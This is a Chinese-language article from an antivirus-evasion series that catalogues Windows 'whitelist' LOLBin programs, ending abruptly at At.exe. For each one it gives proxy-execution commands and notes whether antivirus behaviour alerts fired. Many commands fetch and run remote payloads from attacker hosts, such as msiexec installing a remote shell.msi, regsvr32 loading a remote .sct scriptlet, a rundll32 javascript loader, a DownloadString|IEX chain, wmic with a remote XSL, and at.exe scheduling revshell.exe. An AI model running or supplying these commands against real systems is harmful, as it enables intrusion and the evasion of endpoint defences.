远控免杀从入门到实践之白名单（113 个）总结篇

文章目录

        - Xwizard.exe
        - winword.exe
        - msdeloy.exe
        - psexec.exe
        - WMIC.exe

        - SyncAppvPublishingServer.vbs
        - Pcalua.exe
        - zipfldr.dll
        - Url.dll
        - DiskShadow.exe
        - Odbcconf.exe
        - Forfiles.exe
        - Te.exe
        - CScript.exe/WScript.exe
        - InfDefaultInstall.exe

- 其他 MS windows 程序 (45 个)
    - At.exe
    - Atbroker.exe
    - Bash.exe
    - Bitsadmin.exe
    - Certutil.exe
    - Cmd.exe
    - Cmdkey.exe
    - Control.exe
    - Csc.exe
    - Dfsvc.exe

- Dnscmd.exe
- Esentutl.exe
- Eventvwr.exe
- Expand.exe
- Extexport.exe
- Extrac32.exe
- Findstr.exe
- GfxDownloadWrapper.exe
- Gpscript.exe
- Hh.exe
- Ie4uinit.exe
- Jsc.exe
- Makecab.exe
- Mmc.exe
- Msconfig.exe
- Msdt.exe
- Netsh.exe
- Pcwrun.exe
- Powershell.exe
- Print.exe
- Reg.exe
- Regedit.exe
- Register-cimprovider.exe
- Replace.exe
- R***ing.exe
- Runonce.exe

    - Runscripthelper.exe
    - Sc.exe
    - Schtasks.exe
    - Scriptrunner.exe
    - Tttracer.exe

    - Verclsid.exe
    - Wab.exe
    - wmic.exe
    - Wsreset.exe

- 系统库文件 (10 个)
    - Advpack.dll
    - Comsvcs.dll
    - Ieadvpack.dll
    - Ieaframe.dll
    - Mshtml.dll
    - Pcwutl.dll
    - stager.dll/stager.exe
    - Setupapi.dll
    - Shdocvw.dll
    - Shell32.dll
    - Syssetup.dll

- 其他 MS 程序 (21 个)
    - Appvlp.exe
    - Bginfo.exe
    - Cdb.exe

    - csi.exe
    - Devtoolslauncher.exe
    - dnx.exe
    - Dotnet.exe
    - Dxcap.exe

    - Excel.exe
    - Mftrace.exe
    - msxsl.exe
    - Powerpnt.exe
    - rcsi.exe
    - Sqldumper.exe
    - Sqlps.exe
    - SQLToolsPS.exe
    - Squirrel.exe
    - Tracker.exe
    - Update.exe
    - vsjitdebugger.exe
    - Wsl.exe

- 脚本文件 (4 个)
    - CL_Mutexverifiers.ps1
    - CL_Invocation.ps1
    - Manage-bde.wsf
    - Pester.bat

- 后记

郑重声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！

《远控免杀从入门到实践》系列文章目录：

> 1、 远控免杀从入门到实践 (1) 基础篇
> 2、 远控免杀从入门到实践 (2) 工具总结篇
> 3、 远控免杀从入门到实践 (3) 代码篇 - C/C++
> 4、 远控免杀从入门到实践 (4) 代码篇 - C#
> 5、 远控免杀从入门到实践 (5) 代码篇 - Python
> 6、 远控免杀从入门到实践 (6) 代码篇 - Powershell
> 7、 远控免杀从入门到实践 (7) 代码篇 - Golang+Ruby
> 8、 远控免杀从入门到实践 (8)shellcode 免杀实践
> 9、远控免杀从入门到实践 (9) 白名单 (113 个) 总结篇

关于白名单程序

相信大家对白名单程序利用的手法也已经非常熟悉了，白名单程序利用其实是起源于 LOLBins，全称 “Living-Off-the-Land Binaries”，直白翻译为 “生活在陆地上的二进制“，这个概念最初在 2013 年 DerbyCon 黑客大会由 Christopher Campbell 和 Matt Graeber 进行创造，最终 Philip Goh 提出了 LOLBins 这个概念。

什么程序才能称之为 LOLBins：

> 1、可以是带有 Microsoft 签名的二进制文件，可以是 Microsoft 系统目录中二进制文件。

> 2、可以是第三方认证签名程序。
> 3、具有对 APT 或红队渗透方有用的功能
> 4、该程序除过正常的功能外，可以做意料之外的行为。（如：执行恶意代码、绕过 UAC）。

本系列文章从专题 34 到专题 63，共介绍了 33 个常见的白名单程序，分别为：Rundll32.exe、Msiexec.exe、MSBuild.exe、InstallUtil.exe、Mshta.exe、Regsv***.exe、Cmstp.exe、CScript.exe、WScript.exe、Forfiles.exe、te.exe、Odbcconf.exe、InfDefaultInstall.exe、Diskshadow.exe、PsExec.exe、Msdeploy.exe、Winword.exe、Regasm.exe、Regsvcs.exe、Ftp.exe、pubprn.vbs、winrm.vbs、slmgr.vbs、Xwizard.exe、Compiler.exe、IEExec.exe、MavInject32、Presentationhost.exe、Wmic.exe、Pcalua.exe、Url.dll、zipfldr.dll、Syncappvpublishingserver.vbs。

其实还有大量的 LOLBins 程序可以被利用，只是有些利用条件比较苛刻，有些是用来下载而不是用来执行 payload 的，我从 https://lolbas-project.github.io 等其他站点共搜集到 113 个，除了之前介绍的 33 个外，还有另外的 80 个白利用程序也在这做简要介绍。

由于白名单程序加载 payload 的免杀测试需要杀软的行为检测才合理，静态查杀 payload 或者查杀白名单程序都没有任何意义，所以这里对白名单程序的免杀效果不做评判。

> 免杀系列文章及相关软件下载： https://github.com/TideSec/BypassAntiVirus

本文内容摘要

1、执行命令类 (已测试 33 个)

这是从众多白名单程序里搜集了一些知名度比较高也比较通用一些的白名单进行了逐一测试，这些程序的具体介绍已经在”Tide 安全团队” 公众号上发布，这是只是简单罗列一下。

2、其他 MS windows 程序 (45 个)

这些也都是 windows 自带的可执行程序，有的利用起来条件稍微苛刻，感兴趣的可以逐一测试。

3、系统库文件 (10 个)

windows 自带的 dll 文件，一般需要使用 rundll32 来加载执行。

4、其他 MS 程序 (21 个)

并非 windows 自带，但属于微软配套的用的较多的软件，比如 office、donet、visual studio 等程序安装后引入的程序。

5、脚本文件 (4 个)

windows 自带的脚本文件，可用来加载 payload。

执行命令类 (已测试 33 个)

在本免杀专题 34 到专题 63(已发布在我们团队的公众号”Tide 安全团队” 上)，共搜集了 33 个常见的白名单程序，并一一进行了分析和详细测试，本部分也是对这些已进行了测试的白名单程序进行简要汇总，详细测试过程可参考相应文章链接。

MSBuild.exe

MSBuild.exe

杀软行为检测：xml 能免杀时不会触发杀软行为预警。

详细文章链接： https://mp.weixin.qq.com/s/1WEglPXm1Q5n6T-c4OhhXA

Microsoft Build Engine 是一个用于构建应用程序的平台，此引擎也被称为 msbuild，它为项目文件提供一个 XML 模式，该模式控制构建平台如何处理和构建软件。Visual Studio 使用 MSBuild，但它不依赖于 Visual Studio。通过在项目或解决方案文件中调用 msbuild.exe，可以在未安装 Visual Studio 的环境中编译和生成程序。

执行方式：

msbuild.exe 加载文件的方式有两种

```
1. 本地加载执行：
- %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml
2. 远程文件执行：
wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start
%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml
```

Msiexec.exe

杀软行为检测：执行时杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/XPrBK1Yh5ggO-PeK85mqcg

看到 msiexec 可能还有点陌生，但说道. msi 可能就比较熟悉了，在 windows 下很多软件安装就是. msi 格式的。当 Windows 操作系统安装了 Windows Installer 引擎，而 MSI 软件包使用该引擎来 安装应用程序，解释包和安装产品的可执行程序就是我们这用到 的 Msiexec.exe。

执行方式：

msi 文件可以双击执行，也可以命令行静默执行，而且 msiexec 也同样支持远程下载功能，将 msi 文件上传到服务器，通过如下命令远程执行：

```
msiexec /q /i http://www.tidesec.com/shell/shell.msi
```

InstallUtil.exe

杀软行为检测：360 安全卫士会检测到 InstallUtil.exe 执行预警，360 杀毒和火绒动态和静态均无预警。

> 详细文章链接： https://mp.weixin.qq.com/s/gN2p3ZHODZFia2761BVSzg

InstallUtil.exe 算是免杀白名单里使用比较多的一个了，InstallUtil.exe 可以用于安装有. NET 开发的所有应用安装程序，如果要使用 .NET Framework 开发 Windows 服务，则可以使用 installutil.exe 命令行快速安装服务应用程序。

metasploit 自带的 evasion 免杀模块，就提供了 windows/applocker_evasion_install_util 来直接创建 InstallUtil.exe 可加载的 payload，详见远控免杀专题文章 (4)-Evasion 模块免杀 (VT 免杀率 12/71): https://mp.weixin.qq.com/s/YnnCM7W20xScv52k_ubxYQ

另外，专题 20 里的 GreatSCT 也提供了基于 InstallUtil.exe 的免杀: https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ

执行方式：

使用 csc 编译 InstallUtil-ShellCode.cs

```
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:C:\test\shell.exe
C:\test\InstallUtil-ShellCode.cs
```

使用 InstallUtil.exe 执行 shell.exe

```
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U
C:\test\shell.exe
```

Mshta.exe

杀软行为检测：hta 能免杀时不会触发杀软行为预警。

详细文章链接： https://mp.weixin.qq.com/s/oBr-syv2ef5IjeGFrs7sHg

Mshta.exe 是微软 Windows 操作系统相关程序，英文全称 Microsoft HTML Application，可翻译为微软超文本标记语言应用，用于执行. HTA 文件。

路径:

```
C:\Windows\System32\mshta.exe
C:\Windows\SysWOW64\mshta.exe
```

执行方式:

执行 hta

```
mshta.exe evilfile.hta
```

Rundll32.exe

Rundll32.exe

杀软行为检测：执行时火绒会行为预警

详细文章链接： https://mp.weixin.qq.com/s/rm**AWC6HmcphozfEZhRGA

Rundll32.exe，可以执行 32 位的 DLL 文件，以命令行的方式调用动态链接程序库。。它的作用是执行 DLL 文件中的内部函数，这样在进程当中，只会有 Rundll32.exe，而不会有 DLL 后门的进程，这样就实现了进程上的隐藏。系统中还有一个 Rundll.exe 文件，可以执行 16 位的 DLL 文件。

Rundll32.exe 令行下的使用方法为：Rundll32.exe DLLname,Functionname, 需注意 x86，x64 位的 Rundll32 调用，64 位的系统默认调用的是 64 位 Rundll32.exe(在 C:\Windows\System32 目录下)。

Windows 7 默认位置：

```
64位 C:\Windows\System32\rundll32.exe
32位 C:\Windows\SysWOW64\rundll32.exe
```

执行方式：

Rundll32 的使用, 参考自 ATT&CK 手册。

1）直接执行 dll 文件

```
rundll32.exe c:\\windows\\debug\\item.dat,ServiceMain aaaa
rundll32.exe "C:\Windows\twain_64.dll",EntryPoint
```

2）调用系统中原生存在的 dll 中的未记录 dll 函数

2.1）调用 shell32.dll 函数执行控制面板项文件（.cpl）

```
rundll32 shell32.dll,Control_RunDLL <文件名>
control.exe test.cpl
```

2.2）Advpack.dll – LaunchINFSection

advpack.dll 用于帮助硬件和软件读取和验证 ·INF 文件。正如老话所说，“ 大部分安全问题本质就是功能被误用 “，advpack.dll 也可以被攻击者利用进行代码 / 指令代理执行，

```
rundll32.exe advpack.dll,LaunchINFSection  c:\test.inf,DefaultInstall_SingleUser,1,
C:\\Windows\\System32\\rundll32 advpack.dll,LaunchINFSectionEx
C:\\Windows\\system32\\ieuinit.inf,Install
Requires admin: No
Windows binary: Yes
Bypasses AppLocker Default rules: Yes
```

2.3）Advpack.dll – RegisterOCX

```
rundll32.exe advpack.dll,RegisterOCX calc.exe
Requires admin: No
Windows binary: Yes
Bypasses AppLocker Default rules: Yes
```

2.4）zipfldr.dll – RouteTheCall

```
rundll32.exe zipfldr.dll,RouteTheCall calc.exe
```

2.5）url.dll – OpenURL

```
rundll32  url.dll,OpenURL file://C:/Windows/system32/calc.exe
rundll32.exe url.dll,OpenURL "C:\test\calc.hta"
rundll32.exe url.dll,OpenURL "C:\test\calc.url"
```

```
rundll32.exe  url.dll,OpenURL http://192.168.1.4/Micropoor_url_dll.hta
```

2.6）url.dll – FileProtocolHandler

```
rundll32.exe url.dll, FileProtocolHandler calc.exe
```

2.7）ieframe.dll – OpenURL

```
rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"
```

2.8）shdocvw.dll – OpenURL

```
rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url"
```

2.9）ieadvpack.dll – LaunchINFSection

```
rundll32.exe ieadvpack.dll,LaunchINFSection test.inf,,1,
```

2.10）shell32.dll – ShellExec_RunDLL

```
rundll32.exe shell32.dll,ShellExec_RunDLL
C:\Windows\System32\calc.exe
```

2.11）pcwutl.dll – LaunchApplication

```
rundll32.exe C:\Windows\System32\pcwutl.dll,LaunchApplication calc.exe
```

2.12）Setupapi.dll – InstallHinfSection

```
# Launch an executable file via the InstallHinfSection function and .inf file section directive.
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\\Tools\\calc_exe.inf
```

2.13）Syssetup.dll – SetupInfObjectInstallAction

```
# Launch an executable file via the SetupInfObjectInstallAction function and .inf file section
directive.
rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\temp\something.inf
```

3）执行 javascript 脚本

```
rundll32 javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://reverse-
tcp.xyz/payload.sct");window.close();
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication
";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication
";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.Re
sponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im
rundll32.exe",0,true);}
```

Regsv***.exe

杀软行为检测：360 和火绒都会行为预警

详细文章链接： https://mp.weixin.qq.com/s/6v8w2YZLxHJFnXb-IbnYAA

Regsv*** 是一个命令行实用程序，用于注册和取消注册 OLE 控件，例如 Windows 注册表中的 DLL 和 ActiveX 控件，以命令行方式运行。Regsv***.exe 安装在 Windows XP 及更高版本的 Windows 的 %systemroot%\System32 文件夹中。当通过 regsv*** 中注册一个 dll 文件时，有关与 regsv*** 关联的程序的信息将会被添加到 Windows 中，然后访问这些进程查看器以了解程序数据的位置以及如何与程序数据进行交互。在注册一个 dll 文件时，会将信息添加到目录中，以便 Windows 可以使用它。通常，除了注册和注销 dll 文件外，此文件不常用。

Regsv***.exe 分 32 位和 64 位，在 windows 系统中的位置

64位：C:\WINDOWS\SysWOW64\regsv***.exe

32位：C:\WINDOWS\system32\regsv***.exe

执行方式：

执行本地脚本

```
regsv***.exe /s /u /i:file.sct scrobj.dll
```

加载远程脚本执行

```
regsv***.exe /s /u /i:http://reverse-tcp.xyz/file.sct scrobj.dll
regsv***.exe /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```

Cmstp.exe

杀软行为检测：执行时 360 会行为预警，火绒无响应

详细文章链接： https://mp.weixin.qq.com/s/tgtvOMDGlKFwdRQEnKJf5Q

Microsoft 连接管理器配置文件安装程序（CMSTP.exe）是用于安装连接管理器服务配置文件的命令行程序。CMSTP.exe 接受安装信息文件（INF）作为参数，并安装用于远程访问连接的服务配置文件。

攻击者可能会使用 CMSTP.exe 调用恶意的 INF 文件。与 Regsv*** 相似，CMSTP.exe 可能被利用从远程服务器加载和执行 DLL 或 COM 脚本（SCT）。由于 CMSTP.exe 是合法的，经过签名的 Microsoft 应用程序，因此该执行过程也可以绕过 AppLocker 和其他白名单防御。

在 windows 中文件路径

64位 C:\Windows\System32\cmstp.exe

32位 C:\Windows\SysWOW64\cmstp.exe

执行方式：

执行本地 payload：cmstp.exe /ni /s c:\cmstp\CorpVPN.inf

执行远程 payload：cmstp.exe /ni /s \\10.211.55.28\test\cmstp.inf

Ftp.exe

杀软行为检测：不会触发行为预警

详细文章链接： https://mp.weixin.qq.com/s/rnmCIx5oxA9z-0OfjoUAVw

Ftp.exe 是 Windows 本身自带的一个程序，属于微软 FTP 工具，提供基本的 FTP 访问。

Windows 2003 默认位置：

```
C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe
```

Windows 7 默认位置：

```
C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe
```

执行方式：

```
echo !calc.exe > ftpcommands.txt && ftp -s:ftpcommands.txt
```

Regasm.exe/Regsvcs.exe

杀软行为检测：执行时触发行为预警

详细文章链接： https://mp.weixin.qq.com/s/MCMjxPdUNdwV8is04AklLA

Regsvcs 和 Regasm 是 Windows 命令行实用程序，用于注册. NET 组件对象模型（COM）程序集。两者都是由 Microsoft 进行数字签名的。攻击者可以使用 Regsvcs 和 Regasm 代理通过受信任的 Windows 实用程序执行代码。两个实用程序可用于通过使用二进制内的属性来绕过进程白名单，以指定应在注册或取消注册之前运行的代码：[ComRegisterFunction]或[ComUnregisterFunction] 分别。即使进程在权限不足的情况下运行并且无法执行，也将执行具有注册和取消注册属性的代码。

执行方式：

```
regasm.exe AllTheThingsx64.dll
regsvcs.exe AllTheThingsx64.dll
```

Compiler.exe

杀软行为检测：触发行为预警

详细文章链接： https://mp.weixin.qq.com/s/Sm_3cJlSk6Pud1CLp-eAEQ

Microsoft.Workflow.Comiler.exe 是. NET Framework 默认自带的一个实用工具，用户能够以 XOML 工作流文件的形式提供一个序列化工作流来执行任意未签名的代码。

注意：如果 Microsoft.Workflow.Compiler 命令无法识别，可能是 Microsoft.Workflow.Compiler.exe 所在路径没有被系统添加 PATH 环境变量中。

Win7 的 Compiler.exe 默认位置：

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe
```

执行方式：

```
Microsoft.Workflow.Compiler.exe tests.xml results.xml
```

MavInject.exe

杀软行为检测：未触发行为预警

详细文章链接： https://mp.weixin.qq.com/s/dPOGj1VLhqwxJ0e-gOs8vA

MavInject32.exe 是微软应用程序虚拟化的一部分，可以直接完成向某一进程注入代码的功能。

64 位系统下的文件位置：C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe

执行方式：

```
C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" <PID> /INJECTRUNNING
<PATH DLL>
```

presentationhost.exe

杀软行为检测：触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/r9l5Lh6MHv-Ece2DFr3EsA

Presentationhost.exe 是一个内置的 Windows 可执行文件，用于运行 XAML 浏览器应用程序（即. xbap 文件）。在多个 AppLocker 白名单绕过列表中，Presentationhost.exe 都位列其中（例如 api0cradl 和 milkdevil）。

当我们打开. xbap 文件的时候其实不是在 IE 中启动的应用程序，而是在 Presentationhost.exe 中运行，通常是在一个沙箱中以保护用户免受恶意代码的攻击。

执行方式：

```
Presentationhost.exe C:\temp\Evil.xbap
```

IEexec.exe

杀软行为检测：未触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/wVbFrU9cE3hCYAENjmnSUQ

IEexec.exe 应用程序是. NET Framework 附带程序，存在于多个系统白名单内。可以将 IEExec.exe 应用程序用作主机，以运行使用 URL 启动的其他托管应用程序。

IEexe.exe 在 64 位系统路径为：C:\Windows\Microsoft.NET\Framework64\v2.0.50727

执行方式：

```
ieexec.exe http://x.x.x.x:8080/bypass.exe
```

winrm.vbs/slmgr.vbs

杀软行为检测：触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/B3oiMrEB98jtm4DvD2t2tQ

winrm.vbs(System32 中的 Windows 签名脚本)能够使用和执行攻击者控制的 XSL，而 XSL 不受 “enlightened script host” 的限制，导致任意的、无签名的代码执行。

winrm.vbs 文件位置：

```
C:\windows\system32\winrm.vbs
C:\windows\SysWOW64\winrm.vbs
```

执行方式：

```
cscript /b C:\Windows\System32\slmgr.vbs
winrm quickconfig
```

pubprn.vbs

杀软行为检测：触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/btiaVMBPxfxG4oXPa7__kw

在 Windows 7 + 上，存在一个 Microsoft 签名的 WSH 脚本，名为 PubPrn.vbs，该脚本位于 “C：\ Windows \ System32 \ Printing_Admin_Scripts \ en-US 中。在查看此特定脚本时，很明显它正在接受用户提供的输入（通过命令行参数）并将参数传递给 “GetObject()。

文件位置：C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs

执行方式：

```
C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1
script:http://10.211.55.5/msf.sct
```

Xwizard.exe

杀软行为检测：触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/8gaweOqkOrT77riaevvFUg

xwizard.exe 应该为 Extensible wizard 的缩写，中文翻译可扩展的向导主机进程，暂时无法获得官方资料。

利用 xwizard.exe 加载 dll 可以绕过应用程序白名单限制，该方法最大的特点是 xwizard.exe 自带微软签名，在某种程度上说，能够绕过应用程序白名单的拦截。

xwizard.exe 支持 Win7 及以上操作系统，位于 %windir%\system32 \ 下。

对应 64 位系统：

%windir%\system32 \ 对应 64 位 xwizard.exe，只能加载 64 位 xwizards.dll

%windir%\SysWOW64 \ 对应 32 位 xwizard.exe，只能加载 32 位 xwizards.dll

执行方式：

```
xwizard processXMLFile 1.txt
```

winword.exe

杀软行为检测：触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/qXWK5i2cDaletSzkAEzL3w

winword.exe 是微软 Microsoft Word 的主程序。该字处理程序是微软 Microsoft Office 组件的一部分。

执行方式：

```
winword.exe "http://192.168.19.146/shell.dll"
```

msdeloy.exe

杀软行为检测：触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/1oEzadXZxd3JukrBhNxxyw

msdeploy.exe 是微软提供的 web 部署命令行工具，通过它可以方便的部署 web 应用、数据库等，路径在 C:\Program Files\IIS\Microsoft Web Deploy V3。msdeloy.exe 可以使 IIS 可以在本地或远程同步，打包和部署 Web 应用程序，网站或 Web 服务器内容和配置。它具有众多功能，这些功能可以高度精确地包括要处理的那些组件，并排除那些不需要的组件。为了能够使用 Web Deploy，必须已在源计算机和目标计算机上安装 IIS。

执行方式：

```
msdeploy.exe -verb:sync -source:RunCommand -dest:Runcommand="C:\Program Files\IIS\Microsoft Web Deploy V3\w_re.exe"
```

psexec.exe

杀软行为检测：触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/JdOmlqif67GcSqZuuGPz0Q

PsExec 是 SysinternalsSuite 的小工具之一，是一种轻量级的 telnet 替代品，允许在其他系统上执行进程，完成控制台应用程序的完全交互，而无需手动安装客户端软件，并且可以获得与控制台应用程序相当的完全交互性。在 windows 系统并未默认安装，下载地址见参考文章。

执行方式：

psexec 执行 payload：

```
psexec.exe -s -d msiexec /q /i http://yourservice/shell/win_re.txt
//-s 以system权限执行
// -d 不产生交互式窗口
```

WMIC.exe

杀软行为检测：触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/QNqM8Vdlu-SOP7ZqnRWY3w

WMIC 扩展 WMI（Windows Management Instrumentation，Windows 管理工具），提供了从命令行接口和批命令脚本执行系统管理的支持。在 WMIC 出现之前，如果要管理 WMI 系统，必须使用一些专门的 WMI 应用，例如 SMS，或者使用 WMI 的脚本编程 API，或者使用象 CIM Studio 之类的工具。如果不熟悉 C++ 之类的编程语言或 VBScript 之类的脚本语言，或者不掌握 WMI 名称空间的基本知识，要用 WMI 管理系统是很困难的。WMIC 改变了这种情

况。

Windows 2003 默认位置：

```
C:\WINDOWS\system32\wbem\wmic.exe C:\WINDOWS\SysWOW64\wbem\wmic.exe
```

Windows 7 默认位置：

```
C:\Windows\System32\wbem\WMIC.exe C:\Windows\SysWOW64\wbem\WMIC.exe
```

执行方式：

```
wmic os get /FORMAT:"http://10.211.55.10/payload.xsl"
```

SyncAppvPublishingServer.vbs

杀软行为检测：触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/Ud7TbeMJb8fsRlaGHWhBww

Windows 上有两个版本的 SyncAppVPublishingServer 工具，它们是：SyncAppvPublishingServer.exe、SyncAppvPublishingServer.vbs, 可以用他们来取代 powershell。

执行方式：

在 powershell 下执行

```
SyncAppvPublishingServer.vbs "n;((New-Object
Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"
```

Pcalua.exe

杀软行为检测：触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/Aj9A5_LRS_uX8XN1rdUobQ

Pcalua 是 Windows 进程兼容性助理 (Program Compatibility Assistant) 的一个组件。

默认在 C:\Windows\System32\pcalua.exe

执行方式：

```
Pcalua -m -a payload
```

zipfldr.dll

杀软行为检测：触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/-qPVenI_lk-ZnMA4j9XNRQ

zipfldr.dll 自 Windows xp 开始自带的 zip 文件压缩 / 解压工具组件。

说明：zipfldr.dll 所在路径已被系统添加 PATH 环境变量中，因此，zipfldr.dll 命令可识别，但由于为 dll 文件，需调用 rundll32.exe 来执行。Windows 2003 默认位置：

```
C:\Windows\System32\zipfldr.dll
C:\Windows\SysWOW64\zipfldr.dll
```

Windows 7 默认位置：

```
C:\Windows\System32\zipfldr.dll
C:\Windows\SysWOW64\zipfldr.dll
```

执行方式：

```
rundll32.exe zipfldr.dll,RouteTheCall msf.exe
```

Url.dll

杀软行为检测：触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/GzoYvfj7NkXe_nc8eOVEBQ

url.dll 是 Internet 快捷壳扩展相关应用程序接口系统文件。url.dll 所在路径已被系统添加 PATH 环境变量中，因此，url.dll 命令可识别，但由于为 dll 文件，需调用 rundll32.exe 来执行。

Windows 2003 默认位置：

```
C:\Windows\System32\url.dll
C:\Windows\SysWOW64\url.dll
```

Windows 7 默认位置：

```
C:\Windows\System32\url.dll
C:\Windows\SysWOW64\url.dll
```

执行方式：

```
rundll32.exe url.dll, OpenURL file://c:\windows\system32\calc.exe
rundll32.exe url.dll, OpenURLA file://c:\windows\system32\calc.exe
rundll32.exe url.dll, FileProtocolHandler calc.exe
```

DiskShadow.exe

杀软行为检测：触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/pr0KYjk80YIk4qJO5h3Yaw

diskshadow.exe 是一种工具，可公开卷影复制服务（VSS）提供的功能。默认情况下，diskshadow 使用类似于 diskraid 或 DiskPart 的交互式命令解释器。diskshadow 还包括可编写脚本的模式。（详见微软官方文档 https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow ）

执行方式：

```
diskshadow.exe /s c:\test\diskshadow.txt
```

Odbcconf.exe

杀软行为检测：触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/uOwqbW0nkG776zZz6O_WFA

Odbcconf.exe 是一个命令行工具，可让您配置 ODBC 驱动程序和数据源名称（微软官方文档 https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver15 ）。

Odbcconf.exe 在 windows 中的的一般路径为 C:\Windows\System32\odbcconf.exe

C:\Windows\SysWOW64\odbcconf.exe

执行方式：

```
odbcconf.exe /a {regsvr C:\Users\Administrator\Desktop\hacker.dll}
```

Forfiles.exe

杀软行为检测：触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/1-HyeNrd4IXQYsyG6dHQkw

Forfiles 是一款 windows 平台默认安装的文件操作搜索工具之一，可以通过文件名称，修改日期等条件选择文件并运行一个命令来操作文件。它可以直接在命令行中使用，也可以在批处理文件或其他脚本中使用。

默认安装位置：

```
C:\WINDOWS\system32\forfiles.exe
C:\WINDOWS\SysWOW64\forfiles.exe
```

说明：Forfiles.exe 所在路径已被系统添加 PATH 环境变量中，因此，Forfiles 命令可识别，需注意 x86，x64 位的 Forfiles 调用。

执行方式：

```
forfiles /p c:\windows\system32 /m cmd.exe /c "msiexec.exe /q /i
C:\Users\administrator\Desktop\TIDE.txt"
```

Te.exe

Te.exe

杀软行为检测：触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/m37wm620qQ1xw4BN2hGOpg

如果安装了 TAEF（Test Authoring and Execution Framework）框架并且位于列入白名单的路径中，则可以使用它, 需要在计算机上安装 Visual Studio 和 WDK。

微软官方文档： https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/

默认安装位置：

```
C:\ program files(x86)\Windows Kits\10\testing\Runtimes\TAEF
```

使用脚本语言编写测试，Windows 仅支持 JScript 和 VBScript。

执行方式：

```
te.exe bypass.wsc
```

CScript.exe/WScript.exe

杀软行为检测：触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/jzWHq7Yc1UjOwnXulIAPKQ

系统文件 cscript.exe 是存放在 Windows 系统文件夹中的重要文件，通常情况下是在安装操作系统过程中自动创建的，对于系统正常运行来说至关重要，Windows Script Host 引擎在 cscript.exe 来寻找和连接脚本的运行库，最常见的有 VBScript 和 JavaScript。

wscript 全称 “Windows Scripting Host”，是一种批次语言 / 自动执行工具——它所对应的程序“wscript.exe” 是一个脚本语言解释器，位于 C:\WINDOWS\system32 目录下，正是它才使得脚本可以被执行，就象执行批处理一样，可以拿来执行. wsh，.vbs，.js 等。

WScript 是一个窗口化的版本；CScript 是一个命令行的版本。两种版本都可以运行任何脚本。二者之间的区别是，窗口化版本（WScript）使用一个弹出对话框来显示文本输出消息，而命令行版本（CSCript）通过命令行程序所见的、常规的 “标准输出” 方法来显示文本。

CScript/WScript 可以用来执行 vbs 和 js 等脚本，是否能达到免杀的目的取决于执行的脚本本身的免杀能力。

执行方式：

使用 cscript.exe 执行生成的 vbs 脚本。

```
cscript.exe TIDE.vbs
```

使用 WScript.exe 执行 vbs 反弹脚本, 和 cscript.exe 相比命令行中没有文本输出信息。

```
WScript.exe TIDE.vbs
```

InfDefaultInstall.exe

杀软行为检测：触发杀软行为预警

详细文章链接： https://mp.weixin.qq.com/s/mrtX4ayCXJJ1LPfBlSuvHw

InfDefaultInstall.exe 是一个用来进行 inf 安装的工具，具有微软签名，存在路径为：

```
C:\Windows\System32\Infdefaultinstall.exe
C:\Windows\SysWOW64\Infdefaultinstall.exe
```

执行方式：

```
InfDefaultInstall.exe "C:\xxx\shady.inf"
```

其他 MS windows 程序 (45 个)

At.exe

使用说明：

windows 计划任务程序。

文件路径:

```
C:\WINDOWS\System32\At.exe
C:\WINDOWS\SysWOW64\At.exe
```

执行方式：

```
C:\Windows\System32\at.exe at 09:00 /interactive /every:m,t,w,th,f,s,su
C:\Windows\System32\revshell.exe
```

参考资料：

```
